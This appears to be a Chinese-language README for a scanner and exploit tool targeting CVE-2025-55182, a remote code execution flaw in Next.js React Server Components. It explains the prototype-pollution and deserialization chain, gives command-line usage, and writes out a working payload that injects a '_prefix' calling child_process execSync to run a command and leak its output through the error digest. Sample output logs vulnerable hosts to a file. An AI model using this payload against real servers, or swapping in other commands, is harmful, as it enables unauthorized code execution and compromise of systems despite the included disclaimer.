
针对CVE-2025-55182的安全扫描器 - React Server Components中的严重RCE漏洞
此工具用于检测目标是否受 CVE‑2025‑55182 影响,该漏洞是一个由 Next.js 内部不安全处理 RSC(React 服务端组件)模型载荷导致的远程代码执行漏洞。
该漏洞利用链为:原型污染 → 反序列化滥用 → 服务端 JavaScript 执行。
免责声明: 仅在您合法拥有或已获得明确授权的系统上使用。未经授权的测试属于犯罪行为。
Next.js 内部通过 multipart/form-data 处理特殊的“模型”对象。
如果攻击者注入恶意结构(例如伪造的 thenable),他们可以污染:
__proto___response._prefixconstructor.constructor这会导致服务端执行攻击者控制的 JavaScript,最终实现 完全 RCE。
-u)或 目标列表(-l)id)foxvuln.txtpython3 main.py -u https://target.com
python3 main.py -l list.txt
载荷通过注入的 _prefix 滥用 process.mainModule.require('child_process').execSync():
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
这会强制服务端执行 id 命令,并将结果泄露到抛出的 digest 中(因为 RSC 错误会有意返回结构化的 “digest” 字段)。
存在漏洞的目标:
[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)
不存在漏洞:
[+] Testing: https://secure.com
[NOT VULN]
所有确认存在漏洞的 URL 将被保存到:
foxvuln.txt
格式:
https://victim.com => uid=1000(www-data)
/ 处理 POST 请求